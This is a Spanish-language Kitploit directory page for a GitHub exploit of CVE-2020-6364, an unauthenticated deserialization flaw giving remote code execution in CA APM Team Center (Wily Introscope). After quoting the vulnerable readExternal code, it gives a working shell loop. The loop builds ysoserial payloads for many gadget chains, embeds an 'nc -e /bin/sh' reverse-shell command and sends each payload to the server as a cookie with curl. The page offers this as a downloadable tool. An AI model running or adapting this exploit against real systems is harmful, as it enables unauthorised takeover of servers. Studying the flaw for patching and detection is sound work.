Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-6364 — Ejecución remota de código en CA APM Team Center (Wily Introscope) | Kitploit
Herramientas/GitHubGitHub/gquere/cve-2020-6364
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubgquere/cve-2020-6364

CVE-2020-6364

Ejecución remota de código en CA APM Team Center (Wily Introscope)

Ver Repositorio
22hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-6364

Ejecución remota de código en CA APM Team Center (Wily Introscope).

Aviso original

Una vulnerabilidad de deserialización en CA APM Team Center permite la ejecución remota de código sin autenticación en el servidor.

Al autenticarse en el servidor, se devuelve una cookie que comienza con la infame cadena rO0, lo que indica un objeto serializado codificado en base64:

Aunque no he rastreado completamente el problema de forma estática, probablemente este sea el código vulnerable:

root@kitploit:~
public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

Nótese que el mapa de parámetros y la cookie se deserializan usando readObject() a partir de la entrada del usuario.

Esto se explota trivialmente identificando un gadget adecuado en un bucle for:

root@kitploit:~
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

El único payload que produjo ejecución remota de código en mi caso fue CommonsBeanutils. El JAR embebido es org.apache.commons_beanutils_1.9.2.1.jar y de hecho incluye un gadget vulnerable según el repositorio de Maven.

Agradecimientos

Agradecimiento obligatorio a alguien especial que me hizo revisar dos veces la cabecera.

Descargar herramienta